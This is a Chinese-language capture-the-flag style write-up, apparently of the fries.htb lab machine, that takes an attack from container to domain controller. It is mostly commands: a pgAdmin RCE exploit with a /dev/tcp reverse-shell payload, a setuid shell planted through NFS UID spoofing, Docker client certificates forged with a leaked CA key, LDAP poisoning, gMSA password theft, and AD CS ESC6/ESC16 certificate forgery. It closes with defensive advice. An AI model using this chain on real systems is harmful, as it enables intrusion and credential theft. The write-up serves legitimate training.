从容器到域控的渗透实战教学
信息收集阶段
网络扫描与发现
使用Nmap进行全面的端口扫描:
nmap -sC -sV -p- --min-rate 5000 -O -A 10.10.11.96
关键发现:
- 开放端口:22(SSH)、53(DNS)、80/443(HTTP/HTTPS)、88(Kerberos)、135(MSRPC)、139/445(SMB)
- 域信息:fries.htb,域控制器:DC01.fries.htb
- SSL证书发现:pwm.fries.htb
子域名枚举
使用ffuf进行子域名爆破:
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-u http://10.10.11.96 \
-H "Host: FUZZ.fries.htb" \
-mc 200
发现的关键子域名:
- code.fries.htb - Gitea代码仓库
- db-mgmt05.fries.htb - pgAdmin数据库管理
边界突破
敏感信息泄露利用
1. 初始凭据获取
在Gitea历史提交中发现泄露的凭据:
- 用户名:d.cooper@fries.htb
- 密码:D4LE11maan!!
2. Git历史分析
搜索数据库相关配置:
git log -p --all | grep -i "postgresql\|postgres\|database_url\|sqlalchemy" -B 5 -A 5
发现的关键信息:
- 数据库连接字符串:
postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db - 密钥:
SECRET_KEY=y0st528wn1idjk3b9a
pgAdmin漏洞利用
1. 版本识别与漏洞利用
发现pgAdmin 9.1版本存在CVE-2025-2945漏洞,使用公开exp:
python3 exp.py \
--target-url http://db-mgmt05.fries.htb \
--username d.cooper@fries.htb \
--password 'D4LE11maan!!' \
--db-user root \
--db-pass 'PsqLR00tpaSS11' \
--db-name ps_db \
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.10.16.69/4444 0>&1\"')"
2. 获得初始立足点
成功获取反向shell,进入容器环境。
后渗透阶段
容器内信息收集
1. 环境变量分析
使用env命令发现关键凭据:
PGADMIN_DEFAULT_EMAIL=admin@fries.htb
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
2. 系统权限检查
发现/etc/passwd文件可写,存在权限提升机会。
网络隧道搭建
使用ligolo-ng建立隧道:
# 添加路由
sudo ip route add 172.18.0.0/24 dev ligolo
NFS共享利用
1. NFS共享发现
showmount -e 172.18.0.1
# 输出:/srv/web.fries.htb *
2. 挂载NFS共享
mkdir -p /tmp/web
sudo mount -t nfs 172.18.0.1:/srv/web.fries.htb /tmp/web
3. 分析docker-compose配置
发现网络架构和容器IP分配信息。
权限提升
NFS UID/GID欺骗攻击
1. 创建匹配的用户
sudo groupadd -g 120 barman_group
sudo groupadd -g 59605603 infra_managers
sudo useradd -u 117 -g 59605603 -M -s /bin/bash barman_local
2. 部署特权shell
sudo su barman_local -c "cp /mnt/web/shared/target_bash /mnt/web/shared/bash2"
sudo su barman_local -c "chmod 6777 /mnt/web/shared/bash2"
3. 获取root权限
在目标服务器执行:
/srv/web.fries.htb/shared/bash2 -p
证书发现与分析
在certs目录发现Docker TLS证书:
- ca-key.pem - CA私钥
- ca.pem - CA证书
- server-*.pem - 服务器证书
Docker CA证书滥用
伪造客户端证书
1. 生成客户端私钥
openssl genrsa -out client-key.pem 4096
2. 创建证书签名请求
openssl req -new -key client-key.pem -out client.csr -subj "/CN=root"
3. 使用泄露的CA签发证书
openssl x509 -req -days 365 -sha256 \
-in client.csr \
-CA ca.pem \
-CAkey ca-key.pem \
-CAcreateserial \
-out client-cert.pem \
-extfile extfile.cnf
Docker API访问
1. 列出容器
docker --tls --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H=tcp://127.0.0.1:2376 ps
2. 进入PWM容器
docker --tlsverify \
--tlscacert=ca.pem \
--tlscert=client-cert.pem \
--tlskey=client-key.pem \
-H=tcp://127.0.0.1:2376 \
exec -it pwm /bin/bash
域渗透阶段
PWM配置获取
在PWM容器中发现配置文件:
cat /config/PwmConfiguration.xml
发现哈希值:
$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG
密码破解:
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
LDAP投毒攻击
1. 配置Responder
sudo responder -I tun0 -A
2. 修改PWM的LDAP配置
将LDAP服务器指向攻击者控制的IP,捕获域凭据。
3. 获取域用户凭据
成功捕获svc_infra用户的NTLM哈希。
BloodHound枚举
1. 域关系分析
bloodhound-python -c All -d fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' -ns 10.10.11.96 --zip
2. 发现gMSA账户权限
发现svc_infra对gMSA_CA_prod$有读取密码权限。
gMSA密码检索
使用nxc工具获取gMSA密码:
nxc ldap 10.10.11.96 -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' --gmsa
获取的gMSA信息:
- 账户:gMSA_CA_prod$
- NTLM哈希:fc20b3d3ec179c5339ca59fbefc18f4a
AD CS攻击
Certipy枚举
certipy-ad find -u 'gmsa_ca_prod$' -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip 10.10.11.96 -stdout
发现关键权限:
- gMSA_CA_prod$拥有ManageCa和ManageCertificates权限
ESC6漏洞利用
1. 启用EDITF_ATTRIBUTESUBJECTALTNAME2
Certify.exe manage-ca --ca "DC01.fries.htb\fries-DC01-CA" --esc6
2. 禁用SID校验(ESC16)
使用PowerShell修改CA配置:
$Config = "DC01.fries.htb\fries-DC01-CA"
$CertAdmin = New-Object -ComObject CertificateAuthority.Admin
$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"
$CertAdmin.SetConfigEntry($Config, $Node, "DisableExtensionList", "1.3.6.1.4.1.311.25.2")
3. 重启证书服务
sc.exe \\DC01.fries.htb stop certsvc
Start-Sleep -Seconds 5
sc.exe \\DC01.fries.htb start certsvc
证书伪造
1. 请求管理员证书
certipy-ad req -u 'svc_infra@fries.htb' -p 'm6tneOMAh5p0wQ0d' -dc-ip 10.10.11.96 -ca 'fries-DC01-CA' -template 'User' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
2. 证书认证
certipy-ad auth -pfx administrator.pfx -domain fries.htb -dc-ip 10.10.11.96
3. 获取域管理员访问
evil-winrm -i 10.10.11.96 -u 'administrator' -H a773cb05d79273299a684a23ede56748
关键攻击链总结
- 信息收集:通过子域名枚举发现攻击面
- 初始访问:利用Git历史中的敏感信息泄露
- 漏洞利用:pgAdmin的RCE漏洞获取容器访问
- 横向移动:NFS共享配置错误导致权限提升
- 证书滥用:Docker TLS证书伪造获取容器控制权
- 域渗透:PWM配置修改实施LDAP投毒
- 权限提升:AD CS漏洞利用获取域管理员权限
防御建议
- 代码管理:定期清理Git历史中的敏感信息
- 访问控制:加强NFS共享权限管理
- 证书管理:安全存储CA私钥,定期轮换
- 服务加固:及时更新pgAdmin等管理工具
- AD监控:实施AD CS配置变更监控
- 网络分段:容器网络与域网络隔离